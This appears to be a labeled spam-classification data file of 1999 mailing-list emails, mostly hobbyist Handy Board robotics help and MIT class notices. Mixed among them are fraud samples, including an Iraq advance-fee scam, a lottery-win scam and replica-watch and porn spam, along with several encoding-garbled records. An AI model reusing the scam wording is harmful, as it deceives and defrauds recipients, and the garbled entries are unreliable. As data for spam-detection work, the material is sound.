enchanting Girls fuccked by oldman.," Youngest darling Woman fuccked by oldman. http://thefreeporno.info/fphpporn.htm?iSPhfd.fX,hj Deelete http://thefreeporno.info ",1,1 """Bryan K. Wright"" ",gilfoyle ,"Mon, 29 Mar 1999 09:17:16 -0500",Re: an cluster question ,"Hi Jerry, Yep, that's right. Take a look at the following for a diagram of our cluster: http://galileo.phys.virginia.edu/technical Bryan -- =============================================================================== Bryan Wright |""If you take cranberries and stew them like Physics Department | applesauce, they taste much more like prunes University of Virginia | than rhubarb does."" -- Groucho Charlottesville, VA 22901 | (804) 924-7218 | bryan@virginia.edu =============================================================================== ",0,1 Gary Livick ,MSMKatz ,"Mon, 29 Mar 1999 09:48:20 -0800",Re: Help needed!," MSMKatz wrote: > > I am completely lost about what to do next and my girl friend starts to > object to my bad mood, so please help!! > > Thanks in advance and best regards, > > Marc Katz > msmkatz@wxs.nl > (I've asked Fred Martin to be added to this mailing list just this > evening, so if any of you has a quick suggestion: could you please mail > me directly? Thanks..) Marc, First of all, using IC, or probably any form of programming, takes patience. If you mess around with IC3.2 long enough, you will eventually get it to run. Try messing with port speeds, etc. There is nothing wrong with your Handy Board! If you want a confidence builder, download the freeware version of IC, and use that for a while. To download Pcode, use the HBDL feature you can find by looking around on the net. HBDL will run under Windows 98 (on my computer anyway). The trick to making the freeware version of IC work (for me, anyway) was to boot my computer with the ""command"" and the F5 function keys held down. This bypasses the startup files, and gets you into a real DOS environment, free of the Microsoft enhancements that make everything not work. I did get IC 3.2 to work, but I am not sure how. A friend of mine came over and stripped out everything that I didn't need, increased the port speeds from where I had them set, an voila! IC 3.2 is a great package. The C environment is richer than the freeware version, and you can run with several windows open. But for most things, the freeware version works just fine, and always works. Too bad the commercial version isn't better supported in the fast machines. Best of luck. Gary Livick (and Max) ",0,0 """Curt Mills, WE7U"" ",Ken Hornstein ,"Mon, 29 Mar 1999 12:00:55 -0800",Re: GCC 2.8.1 for HC11 ,"On Sun, 28 Mar 1999, Ken Hornstein wrote: > How come you didn't simply use the 2.6.3 cross-compiler? I doubt the > optimizer is improved _that_ much for the HC11. 'Cuz I couldn't get it to compile. I suppose I could have tried some other flavors of Linux, or Solaris, but I'd rather start from something newer, therefore the excitement in finding a new port. > core functionality. But anyway, yes, you have my permission to > adapt those libraries to the Handyboard. Thanks a bunch! I think... Once it is done that means I get to answer questions, so I suppose maybe I'm not that thrilled anymore... :-( Current status: The complete build tree has been posted to the MSOE web site, and I managed to snag it yesterday (13.5 MB!). It is a DJGPP build tree (DOS GCC compiler), so I'm currently struggling with how to convert the changes over to a generic gcc-2.8.1 source tree. So far it configures ok (as far as I can tell), but won't compile (on Linux or Solaris). I'm working on it. If anyone wants to have GCC for an HC11 on DOS, it's all there for you already. Curt Mills, WE7U hacker.NO_*SPAM@tc.fluke.com Senior Methods Engineer/SysAdmin ""Lotto: A tax on people who are bad at math."" -- unknown ""Windows: Microsoft's tax on computer illiterates."" -- WE7U ",0,0 Ken Hornstein ,"""Curt Mills, WE7U"" ","Mon, 29 Mar 1999 15:09:07 -0500",Re: GCC 2.8.1 for HC11 ,">'Cuz I couldn't get it to compile. I suppose I could have tried some >other flavors of Linux, or Solaris, but I'd rather start from something >newer, therefore the excitement in finding a new port. I'm extrememly surprised. It was sort of a no-brainer when I did it and I've never had a problem on any number of weird systems. Please keep us updated. --Ken ",0,0 """Curt Mills, WE7U"" ",Stefano Falconetti ,"Mon, 29 Mar 1999 12:04:58 -0800",Re: GCC 2.8.1 for HC11,"On Sun, 28 Mar 1999, Stefano Falconetti wrote: > Excuse me, but I ' ve already heard this ""wookie""...so many times, but what > is it ? If it's an reditor, can you say me where can I find a copy ? > > > ---------- > > From: Curt Mills, WE7U > > > > www.msoe.edu/eecs/ce/ceb/resources At the above link. That one appears to be an HC11 emulator with some nice features. I haven't played with it much yet. I think it might be able to single-step on the target machine also? Go look at the link above, and then knock of a directory or two from the URL and go check out the student senior projects for some more docs on it. Again, I haven't played with the other programs there yet, I'm more interested in the C-compiler. Curt Mills, WE7U hacker.NO_*SPAM@tc.fluke.com Senior Methods Engineer/SysAdmin ""Lotto: A tax on people who are bad at math."" -- unknown ""Windows: Microsoft's tax on computer illiterates."" -- WE7U",0,0 Luis Franchini ,handyboard@media.mit.edu,"Mon, 29 Mar 1999 12:33:26 -0800",Help,"Hi Friends, i need the most simple circuit for the conection of the hc11, thanks. _________________________________________________________ Do You Yahoo!? Get your free @yahoo.com address at http://mail.yahoo.com ",0,1 Bob Kelly ,handyboard@media.mit.edu,"Mon, 29 Mar 1999 15:55:31 -0500",H-board/Expansion board seperate battery question.,"Hello everyone... I have an expansion board attached and working just fine on my Handy board and wish to accomplish the following... Create a separate power source of 12v, using a small 2-4 amp hour rechargeable battery from radio shack, to the existing H-bridge motor controllers so that I can run 12-24v gearmotors (32mA no-load current at 12v) purchased from Acroname. Also purchased from Acroname are some h-bridge ICs (Texas Instruments SN754410NE). My questions are... 1). If I sever the power trace to the h-bridges as outlined on the h-board site, it appears that I will also cut the power to the expansion brd. servos. Can I simply sever the trace on the h-board, hook up my motor battery and wire a separate power connection from the original 9.6v hboard battery to the servo power connectors on the exp. brd? Is it ok to wire servo power from the 12v source, or will this be too much for the servos and related circuits? Would I have to regulate the current to the servos with the 12v supply and is it a simple circuit (I am no electronics master)? 2). Can I plop down my new h-bridge ICs on top (in parallel) of the existing h-bridge ICs as detailed in the hboard FAQ even though they are not the same manufacturer (I got my h-board from Pat Hui and I believe they use the ""inferior"" L239 chip or whatever part number it is)? Do I even need to run the new chips in parallel at all, meaning can the existing ICs handle the new motors by themselves? Should I just go ahead and piggy-back them anyways, even if I don't hook up a different battery motor combo if I have the ICs handy or does this create some adverse effects? 3). How difficult would it be to build a new, higher capacity motor driver (from a kit, again I am no electron guru) and use it to bypass the existing motor circuit on the board? What I mean is, how can I bypass the existing motor controllers without making permanent changes to the board (i.e.: de-soldering the L239s and hooking up my new, heat sinked motor controller to the outputs)? 4). On a somewhat unrelated subject, is there a simple way to monitor the battery charge level on the h-board? If not, what is necessary to do this and hopefully supply an input to the h-board that I can include in my code? Sorry about all the questions, but this is just such a great resource and you folks are always so helpful, I just have to take advantage of you all!!!! Thanks for the help! Bob Kelly ",0,0 Stefano Falconetti ,"""Curt Mills, WE7U"" ","Tue, 30 Mar 1999 08:47:13 +0200",Re: GCC 2.8.1 for HC11,"Great, everything I need is there, thanks a lot. ---------- > From: Curt Mills, WE7U > To: Stefano Falconetti > Cc: handyboard discussion list > Subject: Re: GCC 2.8.1 for HC11 > Date: 29 March 1999 22:04 > > On Sun, 28 Mar 1999, Stefano Falconetti wrote: > > > Excuse me, but I ' ve already heard this ""wookie""...so many times, but what > > is it ? If it's an reditor, can you say me where can I find a copy ? > > > > > > ---------- > > > From: Curt Mills, WE7U > > > > > > www.msoe.edu/eecs/ce/ceb/resources > > At the above link. That one appears to be an HC11 emulator with some nice > features. I haven't played with it much yet. I think it might be able to > single-step on the target machine also? Go look at the link above, and > then knock of a directory or two from the URL and go check out the student > senior projects for some more docs on it. Again, I haven't played with > the other programs there yet, I'm more interested in the C-compiler. > > Curt Mills, WE7U hacker.NO_*SPAM@tc.fluke.com > Senior Methods Engineer/SysAdmin > ""Lotto: A tax on people who are bad at math."" -- unknown > ""Windows: Microsoft's tax on computer illiterates."" -- WE7U",0,0 Javaid Iqbal ,Handy Board ,"Tue, 30 Mar 1999 19:08:19 +1000",expansion board of rug warrior,"Hi all, I have installed an expansion board on rug warrior. Do I need to download/include any specific library for it or it will work fine with previous libraries of Rug Warrior. Thanks Regards Javaid Iqbal ",0,0 wengd@optionshealthcare.com,handyboard@media.mit.edu,"Tue, 30 Mar 1999 09:32:12 -0500",GP2D02 and the expansion bd,"I currently use the HB with the Polaroid 6500. I'm considering the expansion board and Barry Brouillette's GP2D02 routines for IR ranging. these routines interfere with the timing of the sonar.c routines or for that matter any other time critical sensors (encoders?) Also, how many Sharp detectors are supported in the interrupt routine, two or three?? Thanks, ew ",0,0 Geraldine Marcus ,course@bofur.csb.yale.edu,"Tue, 30 Mar 1999 12:04:18 +0200",CAN I TRUST YOU?,"Dear Friend, I hope my email meets you well. I am in need of your assistance. My name is SGT. GERALDINE MARCUS, I am in the Engineering military unit here in Ba'qubah in Iraq, we have about $65 Million US dollars that we want to move out of the country. My partners and I need a good partner someone we can trust. It is oil money and legal. But we are moving it through diplomatic means, to send it to your house directly or a bank of your choice using diplomatic courier service.The most important thing is that CAN WE TRUST YOU? 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",0,0 Kwin Hultman Kramer ,play99@media.mit.edu,"Tue, 30 Mar 1999 11:18:12 -0500",Projects and Class this week," ** Class time and place change: 6:30 -- 8:30 in the Roth Room ** Hi, First of all, let me apologize for sending this message out so late; it's been kind of a busy week! As promised, I talked with Mitchel, Mike and Tod about the concerns and suggestions that students voiced two weeks ago. We came up with some ways, I think, to clarify the nature of the projects for the course, and agreed that it is important and useful to do some reading/discussion as we work to develop a deeper understanding of play, toys, and the potential applications of technology thereto. With all that in mind, this week's class will take place in the Roth Room (second floor of the Lab), from 6:30 to 8:30, and will feature dinner and several special guests. Mary Ann Norris, once upon a time of the Lab, and now of Mattel, will talk to us about the year she has just spent developing the Mattel/Intel toys and brand. Mary Ann has volunteered to answer all the hard (and not so hard) questions we have about how the toy industry works. The team that built the Orbs for Tokyo Toy Fair will also join us, for an in-depth look at a short-deadline toy-building project. The goal here is to have a discussion about what the Orb folks got right, what they could have done better (or wish they had had more time to do), and how this project relates to the projects we will all soon be working on. Finally, we will attempt to form project teams (for real, this time). Tod, Mike and Mitchel would like to see three-person (roughly) groups that combine people with complementary skills and backgrounds. These groups should come to focus pretty quickly on concrete, manageable project ideas, as there are only about seven weeks left in the semester. In order to help the process of idea-concretization (that's a technical term) along, and to narrow down the number of groups so that there are roughly 1/3 as many as there are students in the class, we went through the list of proposed projects and picked out seven around which teams will be formed. They are -- in short-hand, no particular order, and with a name by them of the person who in my recollection gave the most specific summary of each: -- kites (Saul) -- tradeable bits (Rick) -- beads (Barbara) -- accelerometer-based toys (Phil) -- color and light kits (Kelly) -- refrigerator magnets (Bakhtiar) -- musical building blocks (Tammy) The plan is to figure out who wants to do what, break up into groups, and swear oaths of allegiance and eternal fealty. Kwin ",0,0 """Curt Mills, WE7U"" ",Ken Hornstein ,"Tue, 30 Mar 1999 08:55:38 -0800",Re: GCC 2.8.1 for HC11 ,"On Mon, 29 Mar 1999, Ken Hornstein wrote: > I'm extrememly surprised. It was sort of a no-brainer when I did it > and I've never had a problem on any number of weird systems. Ken's comments made me look at it again: Gcc-2.6.3+HC11 now compiles fine for me on Solaris 2.5, but I know I had trouble compiling it on Red Hat Linux 5.2. I would go back and check that configuration one more time but for the fact that I now have gcc-2.8.1+HC11 compiling (as of this morning). On Solaris anyway. Linux is next. I had to make mods to config/m6811/local.h to fold-const.c to get it to compile. I'm not sure I did it right so I'm checking with the last guy to port it to GCC to make sure. Once I've checked it out I'll post a patch to gcc-2.8.1. I haven't played yet with the cross-assembler or the linker, just the compiler itself. It generates HC11 assembly code. Anybody else here familiar enough with GCC sources to do a quick review of the VERY minor changes? Curt Mills, WE7U hacker.NO_*SPAM@tc.fluke.com Senior Methods Engineer/SysAdmin ""Lotto: A tax on people who are bad at math."" -- unknown ""Windows: Microsoft's tax on computer illiterates."" -- WE7U ",0,0 Ken Hornstein ,"""Curt Mills, WE7U"" ","Tue, 30 Mar 1999 12:32:08 -0500",Re: GCC 2.8.1 for HC11 ,">I haven't played yet with the cross-assembler or the linker, just the >compiler itself. It generates HC11 assembly code. Another question: _which_ cross-assembler does it use? The one based on the ASXXXX cross-assembler (the so-called ""Baldwin assembler"") or another one? There are some bogosities that I know about with the ASXXXX cross-assembler/ linker. It's still usable, but I had to whack on it a lot to get it to handle libraries. I mean no disrespect to the author, but perhaps in the long run it would be better to do a proper BDF target for it and use the GNU tools. >Anybody else here familiar enough with GCC sources to do a quick review of >the VERY minor changes? Not me, unfortunately. Oh, does the current cross-compiler still use the pseudo-register hack? That was something I always wanted to go back and fix properly. --Ken ",0,0 """Curt Mills, WE7U"" ",Ken Hornstein ,"Tue, 30 Mar 1999 10:38:07 -0800",Re: GCC 2.8.1 for HC11 ,"On Tue, 30 Mar 1999, Ken Hornstein wrote: > Another question: _which_ cross-assembler does it use? The one based on > the ASXXXX cross-assembler (the so-called ""Baldwin assembler"") or another > one? In the xasm/doc directory it says ""ASxxxx Cross Assemblers, Version 1.1, June 1990. Submitted by Alan R. Baldwin, Kent State University"". I guess that's your answer. Let me know a better route to follow for the assembler/linker please. > Oh, does the current cross-compiler still use > the pseudo-register hack? That was something I always wanted to go back > and fix properly. From what I've seen, it still uses it. It looks like 2 of the registers have been deleted in the latest stuff, but that looks like the only change to the pseudo-registers. Here are the two that are gone from the latest sources: /* Define 2 pseudo hard registers which map to y register for frame and argument pointers */ #define HARD_FP_REGNUM 20 #define HARD_AP_REGNUM 21 And of course the next #define (FIRST_PSEUDO_REGISTER) has gone from 22 down to 20, and other sections are tweaked to delete FP and AP. If you want to go back and fix it properly, let me know if I can help. Pseudo-registers appear to be the most inefficient part of the port (according to what all the notes say). I also saw something about a 6809 port in the sources. If someone did a 6809 port to gcc at one time, where is it now? I don't need it, but I hate to see useful code go down the drain. A similar philosophy makes sure my garage is always full. :-( Curt Mills, WE7U hacker.NO_*SPAM@tc.fluke.com Senior Methods Engineer/SysAdmin ""Lotto: A tax on people who are bad at math."" -- unknown ""Windows: Microsoft's tax on computer illiterates."" -- WE7U ",0,0 Ken Hornstein ,"""Curt Mills, WE7U"" ","Tue, 30 Mar 1999 13:47:39 -0500",Re: GCC 2.8.1 for HC11 ,">In the xasm/doc directory it says ""ASxxxx Cross Assemblers, Version 1.1, >June 1990. Submitted by Alan R. Baldwin, Kent State University"". I guess >that's your answer. Okay, is it the one with my hacks, by any chance? You can tell if there's a file called lklibrary.c in the lnk-src directory. >Let me know a better route to follow for the assembler/linker please. ""Requires more study"". It needs more GCC toolchain mojo than I currently have. >If you want to go back and fix it properly, let me know if I can help. >Pseudo-registers appear to be the most inefficient part of the port >(according to what all the notes say). That's true, but in a cross-compiler bakeoff I once participated in, gcc still kicked major butt :-) >I also saw something about a 6809 port in the sources. If someone did a >6809 port to gcc at one time, where is it now? I don't need it, but I >hate to see useful code go down the drain. A similar philosophy makes >sure my garage is always full. :-( Dunno, I never tried using the 6809 port. --Ken ",0,0 """Curt Mills, WE7U"" ",Ken Hornstein ,"Tue, 30 Mar 1999 11:02:10 -0800",Re: GCC 2.8.1 for HC11 ,"On Tue, 30 Mar 1999, Ken Hornstein wrote: > Okay, is it the one with my hacks, by any chance? You can tell if there's > a file called lklibrary.c in the lnk-src directory. Nope. Where's your version? If it's easier to use libraries with yours, I'll use that instead. I want to write a Handyboard library when I get the toolchain working (but you know that already). > That's true, but in a cross-compiler bakeoff I once participated in, > gcc still kicked major butt :-) Glad to hear it, 'cuz I'm going towards GCC is for more efficient code, but with the simplicity of C (as compared to .asm). The fact that I use GCC every day in my job probably has something to do with it too. Now if there were only a Perl for the Handyboard... (I'm joking). Curt Mills, WE7U hacker.NO_*SPAM@tc.fluke.com Senior Methods Engineer/SysAdmin ""Lotto: A tax on people who are bad at math."" -- unknown ""Windows: Microsoft's tax on computer illiterates."" -- WE7U ",0,0 Ken Hornstein ,"""Curt Mills, WE7U"" ","Tue, 30 Mar 1999 14:07:36 -0500",Re: GCC 2.8.1 for HC11 ,">> Okay, is it the one with my hacks, by any chance? You can tell if there's >> a file called lklibrary.c in the lnk-src directory. > >Nope. Where's your version? If it's easier to use libraries with yours, >I'll use that instead. I want to write a Handyboard library when I get >the toolchain working (but you know that already). ftp://ftp.cmf.nrl.navy.mil/pub/kenh In fact ... you can't use the MiniBoard library without that cross-assembler (not without some serious hacking). --Ken ",0,0 GDFRITZ@aol.com,handyboard@media.mit.edu,"Tue, 30 Mar 1999 14:19:09 -0500",Best way for HB to communicate to a PC?,"Hi all, I'd like to write some routines on a PC to communicate through the RS232 port to a Handyboard. I'd like to use the Handyboard as the sensor and motor controller and use the Dauphin DTR-1 PC that I got for the navigation and logic processor. It fits great on my Zagros base. Can I use the programmer with the MAX 232 chip to do this? How would I write the routine on the HB to perform measurements, and occasionally look for a command from the PC? Any tips would be appreciated! Thanks, Gerald ",0,0 Eric Smiley ,handyboard ,"Tue, 30 Mar 1999 18:55:27 -0400",MAX232 help,"Hello, I just began construction on my Interface/charger board and all of the preliminary test voltages check out as expected except for the voltage at pin 3 of J9 when pin 6 is jumpered to pin 10 of the MAX232 chip. Do you have any suggestions? What problems is this going to cause and how can I resolve them? When I measure the voltage at pin 3 of J9 with no jumper present, the voltage checks out at -9 volts, when I jump the two pins on the chip, the voltage is around -1 instead of +10. Thank you for your help Eric -- /-----------------------------------------------------------------------\\ Eric Smiley Duke University Delta Kappa Epsilon House 1C1 rm. 202 : - ) BOX 96859 ( - : Durham, NC 27708-6859 ebs4@acpub.duke.edu 919-613-1839 \\-----------------------------------------------------------------------/ ",0,0 MSMKatz ,handyboard@media.mit.edu,"Tue, 30 Mar 1999 23:47:03 +0200",Help needed! Additional info Part 2,"Hi everybody! I've still not solved my problem, but I've been experimenting a bit around while waiting for the 'golden tip' from one of you experienced Handy Board users. BTW: I have not yet received any emails via the mailing list, so I'm not yet added to the list. If any one of you has replied via the mailing list, could you please remail/answer directly to me (msmkatz@wxs.nl)? Thanks! I've modified my lib_hb.lis: it now has only the line ""lib_hb.c"". When I run IC and reset handy board after successfully downloading both bootstrap code and pcode, I get the following messages: ""Synchronizing with board Pcode version 3.10 present on board Loading C:\\SYSTEM\\ICW32\\libs\\lib_hb.lis. Loading C:\\SYSTEM\\ICW32\\libs\\lib_hb.c. C:\\SYSTEM\\ICW32\\libs\\lib_hb.c(229): Function _raw_analog undefined C:\\SYSTEM\\ICW32\\libs\\lib_hb.c(264): Function _raw_analog undefined Errors, unloading files Cannot find file lib_hb.lis or file lib_hb.lis C:\\SYSTEM\\ICW32\\libs\\lib_hb.c(229): Function _raw_analog undefined C:\\SYSTEM\\ICW32\\libs\\lib_hb.c(264): Function _raw_analog undefined"" Of course, _raw_analog was not defined, but at least I now get no ""board not responding, retrying.."" messages and I can give IC-commands from my pc as shown below: IC> IC> 2+44 Downloading 7 bytes (addresses C200-C206): 7 loaded 46 I've downloaded lib_hb.icb from Fred Martin's site last week so I believe it to be the latest version (date: 19/05/98).I've also checked lib_hb.icb for ctrl-M's, but the file seems ok. Am I missing something here or am I looking in the wrong direction? Any help is still very much appreciated! Best regards, Marc Katz msmkatz@wxs.nl",0,0 lectro@acadiacom.net,"MSMKatz , handyboard@media.mit.edu","Tue, 30 Mar 1999 19:06:32 -0600",Re: Help needed!," I had a similar problem and had to try a different serial port. I have a serial mouse and the board will only work properly in com 1. If I try com 2, I get similar problems to yours keith At 01:21 AM 3/28/99 +0100, MSMKatz wrote: >Hi, > >I have assembled my recently bought Handy Board kit and have run into >major problems: > >In paragraph 6.0.5 of the assembly manual, the Handy Board is tested for >the microprocessor and memory circuits. >After powering up the board and running IC (version 3.2), I can >successfully download the bootstrap code and pcode. >After resetting the Handy Board, the message ""IC v3.1 Handy Board 1.2"" >plus blinking heart appear on the display and the speaker beeps. So far, >so good. > >After this, the following messages appear on my pc: >""synchronizing with board"" >""pcode version 3.10 present on board"" >""loading c:\\system\\icw32\\libs\\lib_hs.lis"" >""loading c:\\system\\icw32\\libs\\lib_hb.c"" >""loading c:\\system\\icw32\\libs\\r22_ir.lis"" >""loading c:\\system\\icw32\\libs\\r22_ir.icb"" >""loading c:\\system\\icw32\\libs\\r22_ir.c"" >""initializing interrupts"" > >After this last message, nothing.. The pc keeps waiting for a signal >from the Handy Board that isn't there and I have to abort IC. >What also happens some times, is that the computer proceeds with: > >""downloading 1724 bytes (addresses 8000-86BB):"" >followed by a counter showing the number of bytes downloaded. This >counter stops at 700 or 1400 bytes, followed by the message ""Board not >responding to 98 (b) command"" >""synchronizing with board"" > ""board not responding, retrying"" >""board not responding, retrying"" >""board not responding, retrying""....(etc) > >Resetting the board by switching off and on does not help, the message >""board not responding, retrying"" re-appears every time. >After each reset there is a short period of activity on the serial link >(green led on the serial board flickers), but after 1 or 2 seconds this >stops (green led continuously on) and the heart on Handy Board's display >stops beating at the same moment (leaving a small or large 'dead' heart >on the display). >Quitting IC first and then resetting Handy Board and restarting IC also >doesn't help. > >I've checked and resoldered all solder joints. >I've checked all tracks on the Handy Board for shorts and/or open >connections (from component to component, with a multimeter). I've >checked the orientation of all components a couple of times. Everything >seems to be ok! > >As a next step, I've replaced the memory chip, the 8611 and the 74HC132, >the capacitors of the 8611's oscillator circuit and the four elco's for >the ICL232 (serial board): no result (sigh..). > >I've tried both com1 and com2 on my pentium II 350MHz computer, I've >tried to run IC version 2.8 from DOS on a 486 computer, but the same >problem occurs: Handy Board is not responding (sigh again..). >I set my serial ports at 9600 baud, 8 databits, 1 stop bit, no parity, >I/O buffers at minimum size. >Serial cable and phone cable are both ok, checked and double checked. >I downloaded the latest library files from Fred Martin's site: no >improvement. > >The only thing I haven't done yet is to replace the 74HC373 (I am not >particularly looking forward to desoldering this thing..), the voltage >regulators (all voltages measured are ok) or the ICL232 on the serial >board. > >I've looked through the '97 and '98 archives and found similar problems >reported, but no answers (sigh, sigh, sigh). > >I am completely lost about what to do next and my girl friend starts to >object to my bad mood, so please help!! > > >Thanks in advance and best regards, > >Marc Katz >msmkatz@wxs.nl >(I've asked Fred Martin to be added to this mailing list just this >evening, so if any of you has a quick suggestion: could you please mail >me directly? Thanks..) > ",0,0 Ruiz Fred ,handyboard@media.mit.edu,"Tue, 30 Mar 1999 16:47:20 -0500",zipping my energy,"on blab ! allen see bunsen it's premeditate a sniffly ",1,0 """��β["" ",handyboard@media.mit.edu,"Sat, 03 Nov 1894 05:55:08 +0800",�U��excel����A�U��U�~���A��~�Z�Ĵ��ɪ��n�٦�,2005�U��Excel�����j������ �������@��350���~���u�}�B�����������������A���j�������G �H�����z�����B�������z�����B�����w�s���z�����B�|�p�]�����z�����B �~���M�������B���B���������B���X�����B�a�������B�����M���������A ���������������P�����������������A�������e�]�O�����R�W�b�����W�W�A �p�G�Q�v���z���i��.xls�B�l�q�����I�p���k.xls�B�����t����.xls �����K ���z���t���K�������A�n�e�X�Q�����������u�n�@�����d�w!! ���z�N���O�������b�Z���W�@!!! �z���O�b���w�e�������H �������H���R�@�M�a^^ �����U���q��!!,1,1 Will Bain ,"Handyboard Mailing List , MSMKatz ","Tue, 30 Mar 1999 23:58:47 -0700",Re: Help needed!,"lectro@acadiacom.net wrote: > > I had a similar problem and had to try a different serial port. I have a > serial mouse and the board will only work properly in com 1. If I try com > 2, I get similar problems to yours > > keith DOING! Yeah, now that you mention it, I had the same problem when I got my HB. Took me about a week before I got around to trying COM1. That fixed it, so I left it that way and forgot about it long ago. At the time, no one on the list had any helpful suggestions for me, either. Anyone else out there had problems using COM2 with a serial mouse on COM1? -- Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, Every improvement in communication Will Bain, makes the bore more terrible. & Tatoosh --Frank Moore Colby ",0,0 Katherine Platt ,Alisa ,"Wed, 31 Mar 1999 04:44:49 +0100",High quality watches,"Get the Finest Rolex Watch Replica We only sell premium watches. There's no battery in these replicas just like the real ones since they charge themselves as you move. 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",1,0 """SHETTI.NITIN.MANGESH"" ",MSMKatz ,"Wed, 31 Mar 1999 16:28:01 -0500",Re: Help needed! Additional info Part 2,"> I've modified my lib_hb.lis: it now has only the line ""lib_hb.c"". > C:\\SYSTEM\\ICW32\\libs\\lib_hb.c(229): Function _raw_analog undefined > C:\\SYSTEM\\ICW32\\libs\\lib_hb.c(264): Function _raw_analog undefined > Errors, unloading files > Cannot find file lib_hb.lis or file lib_hb.lis > C:\\SYSTEM\\ICW32\\libs\\lib_hb.c(229): Function _raw_analog undefined > C:\\SYSTEM\\ICW32\\libs\\lib_hb.c(264): Function _raw_analog undefined"" > > Of course, _raw_analog was not defined, but at least I now get no > ""board not responding, retrying.."" messages and I can give IC-commands > from my pc as shown below: > > IC> > IC> 2+44 > Downloading 7 bytes (addresses C200-C206): 7 loaded > 46 > Dear Katz, Include the name lib_hb.icb in lib_hb.lis.(NOT the whole file) If you check the listing you see that lib_hb.icb is not being loaded. The errors are present because these functions are defined in lib_hb.icb. Hope this works. Yours sincerely, Nitin",0,0 """SHETTI.NITIN.MANGESH"" ",GDFRITZ@aol.com,"Wed, 31 Mar 1999 16:38:03 -0500",Re: Best way for HB to communicate to a PC?," On Tue, 30 Mar 1999 GDFRITZ@aol.com wrote: > I'd like to write some routines on a PC to communicate through the RS232 port > to a Handyboard. I'd like to use the Handyboard as the sensor and motor > controller and use the Dauphin DTR-1 PC that I got for the navigation and > logic processor. It fits great on my Zagros base. > > Can I use the programmer with the MAX 232 chip to do this? How would I write > the routine on the HB to perform measurements, and occasionally look for a > command from the PC? Dear Gerald, Visit http://el.www.media.mit.edu/projects/handy-board/faq/#serial to learn about serial i/o between PC and Handy board. Yours sincerely, Nitin ",0,1 Mitchel Resnick ,play99,"Wed, 31 Mar 1999 13:37:09 -0500",class projects,"Some of you have asked for more information on what is expected for your projects. Here are a few of thoughts... Your project should be a compelling proof-of-concept. View it as a ""first prototype"" -- developed far enough so that you can ""play"" with it and demonstrate it to others. We expect that the act of playing with your prototype will give you (and others) a better appreciation for strengths and limitations of your concept. As you work on your project, you should be doing an ongoing analysis of your toy concept. Some questions that you should be asking yourselves: * how does your toy compare with other existing toys? * what are the core features that make your toy engaging? * what types of children (age, gender, cognitive style) would find your toy most interesting? * are there multiple ways of interacting with the toy? * are there ways for children to use the toy in increasingly complex ways over time? * what would children learn from their interactions with the toy? * would the toy help children become more creative? more expressive? in what ways? * in what ways does the toy leverage new technologies (facilitating play experiences or learning experiences that would have been impossible without the technologies)? * what are the biggest limitations of your toy? Please note that we are most interested in the ideas underlying your toy -- not the short-term feasibility or manufacturability. Feel free to work on ideas that are commercially impractical in the short term, but demonstrate exciting new play possibilities that will become practical in the future. At the end of the semester, you will be expected (as a group) to do a presentation on your toy prototype, discussing your design process and addressing the types of questions and issues listed above. You will also be expected to create a Web page about your toy (providing the same type of information as in your presentation). If you have questions about any of this, please raise your questions in class, or feel free to talk to any of us. MTMK... ",0,0 Keith Hearn ,Will Bain ,"Wed, 31 Mar 1999 11:00:28 -0800",Re: Help needed! ,"If you're having problems getting your HB to work on one serial port but it works on another, you might want to check for IRQ conflicts. By default, Com1 and Com3 both are assigned IRQ3, and Com2 & Com4 are both assigned IRQ4. So if you have a modem on Com4 using IRQ4, you may well have problems if you start trying to use Com2 if it's also using IRQ4. I just went through this getting my plug-and-play modem to work under Linux. If you're using Windows, go to the Control Panel and bring up the System window and check your serial devices to see what IRQs they're using. Under linux you can look at /proc/interrupts to see what IRQs are being used by what. Keith Hearn khearn@legato.com In message <3701C7A7.A6BD2BF6@cs.umt.edu>, Will Bain writes: > lectro@acadiacom.net wrote: > > > > I had a similar problem and had to try a different serial port. I have a > > serial mouse and the board will only work properly in com 1. If I try com > > 2, I get similar problems to yours > > > > keith > > DOING! Yeah, now that you mention it, I had the same problem when I got my H > B. Took me about a week before I got around to trying COM1. That fixed it, > so I left it that way and forgot about it long ago. At the time, no one on t > he list had any helpful suggestions for me, either. > > Anyone else out there had problems using COM2 with a serial mouse on COM1? > > -- Will > , , > __@_/ \\_@__ |/ > | /__, o @_/ > )\\ ) ( \\ (\\/\\\\, > ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > Wendy Parson, Every improvement in communication > Will Bain, makes the bore more terrible. > & Tatoosh --Frank Moore Colby",0,0 Kerry ,Handyboard@media.mit.edu,"Wed, 31 Mar 1999 09:15:44 -0500",Regarding your inquiry# 5927916.," present grandiose set http://kbustercn.com >> something ouex 7232641 everything palsy masted ",1,1 SWISS SHELL LOTTERY ,handyboard@media.mit.edu,"Wed, 31 Mar 1999 17:01:43 +0200",CALL BACLK IMMEDIATELY,"CRUDE OIL, SHELL -LOTTO WINNER The Crude Oil Shell -Lotto Lottery (Customer Services) Ref: UK/5330X2/68 Batch: 066/05/ZY288 WINNING NOTIFICATION: We happily announce to you the draw (#2005) of the CRUDE OIL SHELL -LOTTO NATIONAL LOTTERY,online Crude Oil International program held on Wednesday 26nd of April 2006. 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I've tried the following things: swapped COM1/COM2 ports (I have a PS/2 mouse working on IRQ 12) increased/lowered baud rate disabled COM3/4 devices I've even moved my PS/2 mouse to COM1 with HB on COM2 and vice versa I've tried to run IC (freeware) on a slow DOS 386 laptop. Nothing works! A summary of what I'm left with: downloading bootstrap and pcode works fine (lcd message and HB heartbeat after reset); after 700 bytes of downloading library files, I get: ""Board not responding to 98 (b) command (heartbeat stopped) synchronizing with board board not responding, retrying..""etc. after resetting the board, there is some more serial communication and HB's heart stops again plus ""board not responding..."" I can repeat this: each time some serial activity plus dead heart. In the end I get the message ""code loaded"" but the board does not respond to IC commands sent from the pc (message ""running"", but no response from handy board). If I take the line lib_hb.icb out of my lib_hb.lis file, downloading succeeds (of course with error ""_raw_analog not defined"") and I can give IC commands to handy board. Help! I'm still stuck. Best regards, Marc (I'm still not on the mailing list, so: please send your suggestions to msmkatz@wxs.nl. Thanks) ",0,0 �� ���� ,handyboard@media.mit.edu,"Wed, 31 Mar 1999 19:01:31 +0200",������ ����� ���� �ٷ� �ذ��ص帳�ϴ�,���������� ������ ���� 5������             ������ ������ ������        ���� ����  �������� ����           �������� ��������          ������������������     